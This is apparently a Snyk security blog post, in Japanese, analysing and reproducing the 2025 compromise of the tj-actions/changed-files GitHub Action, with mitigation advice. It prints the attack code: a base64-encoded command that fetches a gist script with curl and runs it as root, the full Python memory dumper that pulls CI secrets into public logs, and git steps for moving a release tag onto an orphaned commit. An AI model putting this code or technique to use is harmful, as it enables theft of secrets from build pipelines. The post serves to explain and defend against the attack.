Skip to main content

TJ Actionsのchanged-files GitHub Actions侵害の再現

2025年3月17日

0 分で読めます

2025年3月14日金曜日の午後、人気のGitHub Actionであるchanged files(tj-actions/changed-files)における重大なセキュリティエクスプロイトの詳細が明らかになり始めました。約23,000のGitHubリポジトリが、CIおよびDevOpsのワークフローの一部としてこのActionを利用しています。ブランチやコミット間で変更されたファイルを追跡できるActionです。

Actionのリポジトリへの書き込み権限を持つ攻撃者が、暗号化されたシークレットをGitHub Actionsのログに平文で表示させるコミットを行いました。Actionのログも公開されているパブリックリポジトリでは、深刻な侵害につながる可能性があります。

まず、お客様にご安心いただくためにお伝えします。Snykは自社インフラの評価を完了しており、脆弱なライブラリの影響を受けるバージョンを使用していないことを確認しています。したがって、Snykはこの脆弱性の影響を受けません。

そのうえで、このブログでは、Snykが行った脆弱性の詳細な分析、その仕組み、そして論理的な対処手順について解説します。

この記事の執筆時点では、攻撃者がこのGitHub Actionのコードを格納するリポジトリへの書き込み権限を持っていた理由は不明です。しかし、単に書き込み権限があったこと以外にも、攻撃を可能にした主な要因がありました。

  • 既存のリリースタグを攻撃コミットを指すように変更

  • mainブランチを含む、どのブランチからも切り離された攻撃コミット

これらの要因によって攻撃が隠蔽されました。攻撃では、外部ネットワークへの接続を行って攻撃コードをダウンロードしていましたが、その結果、異常なネットワークアクティビティを監視するサービスによって発見されました。

この記事の後半では、攻撃を(無害な方法で)再現します。攻撃がどのように可能になったのか、また、どのように防げるのかを理解するのに役立ててください。

孤立したGitコミットについて

次の手順を試してみましょう。GitHubで新しいリポジトリを作成し、ローカルにクローンします。ブランチを作成してGitHubにプッシュし、コミットハッシュを控えておきます。その後、リモートブランチを削除します。既存のブランチに紐づかなくなっても、そのコミットには引き続きアクセスできます。

上記の手順は次のとおりです。

1. GitHubでリポジトリを作成する

2. ローカルリポジトリを作成し、先ほど作成したGitHubリモートを追加する

echo "# orhpan-branch-test" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin git@github.com:dogeared/orhpan-branch-test.git
git push -u origin main

3. ブランチを作成する

git checkout -b orphan

4. コミットを追加してプッシュする

echo hello > hello.txt
git add -A .
git commit -m "hello"
git push origin orphan

5. GitHubでコミットを確認する

https://github.com/dogeared/orhpan-branch-test/commit/c7e359462f6afc144d7b4da6eb277d0338c675c9
リポジトリ「orhpan-branch-test」のブランチ「orphan」にある、コミット「hello」(c7e3594)のGitHubコミットページ。

6. GitHubでブランチを削除する

GitHubリポジトリの「Your branches」セクションのスクリーンショット。「orphan」ブランチに「Deleted now」と表示され、1コミット先行していることが示されています。

7. 先ほど控えたコミットのURLにアクセスする

c7e3594のGitHubコミットページのスクリーンショット。警告「このコミットはこのリポジトリのどのブランチにも属していません...」とコミットメッセージ「hello」が表示されている。

これが孤立したブランチの例です。これは、changes-files GitHub Actionのワークフローを悪用するうえで、重要な要因の一つです。

もう一つの重要な要因は、リポジトリ内のリリースタグを移動させたことです。

GitHubのリリースタグについて

残念ながら、GitHubのリリースタグに対して、開発者がときに過度な期待を寄せることがあります。特定のリリースのv35を使うように言われると、そのタグを参照すれば、まさにそのバージョンを使えると思いがちです。通常であれば妥当な想定ですが、GitHubのタグは特定のコミットを指す便宜的な文字列にすぎません。厳密にセマンティックバージョニングを行っていても、特別な仕組みがあるわけではありません。以下は、changes-files Actionを参照するGitHub ActionのYAMLファイルの一部です。

name: "tj-action changed-files"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v35

重要なのは最後の行で、GitHub Actionリポジトリの特定のタグを参照しています。攻撃者は元のバージョンタグを削除し、孤立したコミットである悪意のあるコミットに付け替えました。既存の複数のリリースタグを悪意のあるコミットに付け替えたことで、攻撃の影響がさらに拡大しました。

先ほどの例を続けて、この動作を実際に示します。ローカルマシンで、作業中のブランチにタグを付けます。

git tag v35
git push --tags

GitHubでは、タグが孤立したコミットに紐づきました。次の場所にアクセスします。

https://github.com/dogeared/orhpan-branch-test/tree/v35

すると、次のように表示されます。

「このコミットはどのブランチにも属していません…」という警告が表示されたGitHubリポジトリのコミット一覧のスクリーンショット。「hello」と「first commit」というコミットが、ユーザー「dogeared」によって作成されています。

つまり攻撃者は、changed-files GitHub Actionのコードがあるリポジトリを更新するだけで、悪意のあるコミットを参照させることができました。

要するに、23,000ものリポジトリが依存するリポジトリへの書き込み権限を、悪意ある攻撃者が持っていたのです。攻撃者は巧妙な方法で活動を隠しましたが、書き込み権限がなければ攻撃を実行することはできませんでした。

攻撃者が何を狙っていたのか、もう少し詳しく見ていきましょう。

シークレットの漏えいについて

スクリプトから他のサービスにアクセスする場合や、ビルドやテストの実行に必要なキーを渡す場合、シークレットが必要になることがよくあります。

GitHubは、シークレットを管理するための高度な暗号化の仕組みを備えています。Gitリポジトリレベルでシークレットを設定すれば、シークレットをビルドログに表示したり漏えいさせたりすることなく、ビルドスクリプトから利用できます。GitHubは内部でシークレットを復号し、ビルドスクリプト内の参照値として使用します。実際には、GitHub ActionのYAMLファイルに次のような行を記述できます。

steps:
  - name: Hello world action
    with: # Set the secret as an input
      super_secret: ${{ secrets.SuperSecret }}

これで、スクリプト本体やログにシークレットを記載することなく、スクリプトの他の部分からシークレットを利用できます。

攻撃者はTJのchanged-files GitHub Actionを改ざんし、外部の場所からスクリプトをダウンロードして、GitHub Actionの実行中に仮想マシン上のローカルファイルに保存し、そのスクリプトを実行させました。これは2段階で行われました。最初の段階は悪意のある孤立したコミットによるもので、このコミットはその後削除されています。以下が、そのGitコミットの重要な部分です。

async function updateFeatures(token) {
     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
         ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);   
 }

上記の長い文字列をBase64でデコードすると(スクリプトでも同じ処理が行われます)、次のようになります。

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

ここで参照されていたgistはすでに削除されていますが、当時のPythonスクリプトを以下に示します。

#!/usr/bin/env python3

import os
import sys
import re

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start

                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

上記のスクリプトは、sudoコマンドを使ってroot権限で実行され、プロセスメモリを調べて復号済みのシークレットを探し、Actionsのログに出力します。公開GitHubリポジトリのGitHub Actionsログも設計上公開されているため、これは非常に深刻な問題です。

3月14日に公開されたHacker Newsの投稿(こちら)によると、このエクスプロイトはGitHub Actionsにおける不正なネットワーク呼び出しなどを監視するサービス、StepSecurityによって検知されました。人気のGitHub Actionの作者兼メンテナーは、この投稿にコメントし、何が起きたのかを説明しています。最初に指摘されているのは、攻撃者がリポジトリへの書き込み権限を持っていたことです。

迅速な発見とメンテナーの素早い対応により、エクスプロイトはすぐに対処され、無効化されました。ただし、changed-files GitHub Actionの利用者は、3月14日以降のログを確認し、公開Actionsログにシークレットが漏えいしていないことを確かめてください。

エクスプロイトの実演

攻撃者の環境をできるだけ忠実に再現した構成で、このエクスプロイトを実演するためのリポジトリをいくつか作成しました。

最初のGitリポジトリでは、カスタムGitHub Actionを定義しています。tj-changed-files-action-goofです。

index.jsファイルはシンプルで、主にGitHubのAction作成チュートリアルを参考にしています。

const core = require('@actions/core');
const github = require('@actions/github');

(async function run() {
  try {
    // `who-to-greet` input defined in action metadata file
    const nameToGreet = core.getInput('who-to-greet');
    console.log(`Hello ${nameToGreet}!`);
    const time = (new Date()).toTimeString();
    core.setOutput("time", time);
  } catch (error) {
    core.setFailed(error.message);
  }
})();

who-to-greetという入力を受け取り、日付と時刻を出力します。

もう一つのリポジトリには、カスタムGitHub Actionを実行するYAMLファイルが1つだけあります。また、このリポジトリにはA_SECRETというシークレットが設定されています。リポジトリ名はtj-changed-files-action-exploit-goofです。.github/workflows/main.ymlを見ると、次のようになっています。

name: CI

on:
 "main" branch
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

  workflow_dispatch:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Run a one-line script
        run: echo Hello, world!

      - name: A Goof Step
        id: goof
        uses: snyk-labs/tj-changed-files-action-goof@v1.0
        with:
          a_secret: ${{ secrets.A_SECRET }}
          who-to-greet: 'dogeared'

      - name: Get the output time
        run: echo "The time was ${{ steps.goof.outputs.time }}"

ここでは次の処理を行っています。

  1. 「Hello, world!」メッセージを出力する

  2. tj-changed-files-action-goof GitHub Actionを実行する

  3. Actionから時刻を出力する。また、GitHub Actionで想定どおりにリポジトリのシークレットを使用しています。

異なる2回の実行におけるA Goof Stepの出力を比較してみましょう。まずはこちらです。

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
Hello dogeared!

次にこちらです。

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
SWtGZlUwVkRVa1ZVSWpwN0luWmhiSFZsSWpvaVUzVndaWElnVTJWamNtVjBJRk5sWTNKbGRDRWlMQ0pwYzFObFkzSmxkQ0k2ZEhKMVpYMEs=

Hello dogeared!

どちらの場合も、snyk-labs/tj-changed-files-action-goof@v1.0 が実行されています。2回目の実行では、侵害されたGitHub Actionからの出力を確認できます。また、エンコードされた文字列をBase64で2回デコードすると、次のようになります。

"A_SECRET":{"value":"Super Secret Secret!","isSecret":true}

どちらの実行でも、GitHub Actionsがシークレットの値を参照する際に保護していることがわかります。a_secret: ***。しかし、エクスプロイトコードはシステムメモリからシークレットの平文値を直接取り出します。

v1.0タグが付いたtj-changed-files-action-goofリポジトリに戻ると、元のエクスプロイトと同様に、孤立したブランチがあることがわかります。

「tj-changed-files-action-goof」GitHubリポジトリのファイル一覧のスクリーンショット。「このコミットはどのブランチにも属していません...」という警告が表示され、「action.yml」や「index.js」などのファイルと、「v1.0」タグが選択されている。

v1.0は当初、mainブランチを指していました。しかし、エクスプロイトを再現するために、attackブランチを指すように付け替え、そのブランチを孤立させました。

git push origin :v1.0 # delete the original tag on main
git tag -d v1.0 # delete the local tag
git checkout -b attack # create the attack branch

# update index.js to include the malicious code

ncc build index.js # create a new version of dist/index.js
git add dist/index.js
git commit -m "attack"
git push origin attack # push the attack branch up to GitHub
git tag v1.0 # put the v1.0 tag on the attack branch
git push origin --tags # push the v1.0 tag to GitHub
git push origin :attack 
# ^^ DELETE the attack branch on GitHub making the v1.0 tag orphaned

見落としやすい巧妙な仕掛けの最後の部分は、ncc build index.jsです。これによりdist/index.jsが更新され、更新されたファイルだけがコミットされます。GitHub Actionが実際に実行するのは、Webpackでバンドルされたdist/index.jsファイルです。そのため、孤立したv1.0ブランチのindex.jsファイルを見ても、変更がないように見えます。

mainブランチと比較した、dist/index.jsのwebpackコード(v1.0)の差分です。

GitHub Actionsを保護するための対策

攻撃者がこの人気のGitHub Actionリポジトリへの書き込み権限をどのように、あるいはなぜ得たのかについては、今後さらに詳細が明らかになるでしょう。

依存するさまざまなライブラリのバージョンを参照するために、gitタグを使うのは一般的です。

今回のエクスプロイトを防ぐ方法はいくつかあります。

1. カスタムのリモートGitHub Actionsでは、コミットハッシュを直接指定する

たとえば、次のように指定できます。

uses: snyk-labs/tj-changed-files-action-goof@6eb82f8276131aa04985f48b1d74e020133e22e5

これはタグではなくコミットハッシュを直接参照します。一般的な方法ではありませんが、実行されるカスタムGitHub Actionが、想定したバージョンであることを保証できます。

2. 予期しないネットワーク呼び出しを検知するカスタムGitHub Actionsを追加する。StepSecurityはこの方法でエクスプロイトを検知しました。

今回のような新たなエクスプロイトが発生した際に、オープンソースの貢献者や企業、個人が協力して発見と修正に取り組む姿を見ると心強く感じます。

SnykはこれまでにもGitHub Actionsに関する調査結果やベストプラクティスを公開しています。ぜひ参考にし、DevSecOpsやセキュリティ対策を見直してください。

オープンソースセキュリティの現状を探る

オープンソースソフトウェアとサプライチェーンセキュリティの最新動向やアプローチを理解しましょう。

カテゴリー:

続きを読む

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSecのご紹介:AI開発のスピードに対応するセキュリティ

AI駆動型開発のスピードに、従来のセキュリティワークフローは追いついていません。SnykのAgentic AppSecは、セキュリティエージェントが脆弱性を継続的に検出、修正、検証し、人が基準を定められるようにします。

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。